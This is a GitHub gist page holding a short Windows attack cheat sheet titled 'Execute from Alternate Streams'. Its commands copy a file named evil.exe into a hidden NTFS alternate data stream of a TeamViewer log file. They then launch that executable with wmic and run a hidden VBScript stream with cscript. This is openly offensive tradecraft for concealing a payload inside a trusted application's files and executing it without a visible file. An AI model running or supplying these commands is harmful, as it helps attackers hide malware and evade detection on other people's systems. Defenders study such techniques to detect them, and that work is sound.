Skip to content

Instantly share code, notes, and snippets.

@wflk

wflk/Exe_ADS_Methods.txt

Forked from api0cradle/Exe_ADS_Methods.md
Last active January 16, 2020 06:43
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save wflk/1ac6d326ad284bd9aaa2258d6a3cad6e to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save wflk/1ac6d326ad284bd9aaa2258d6a3cad6e to your computer and use it in GitHub Desktop.
Download ZIP
Execute from Alternate Streams
Raw
Exe_ADS_Methods.txt
#Embed file to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
#Executing
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment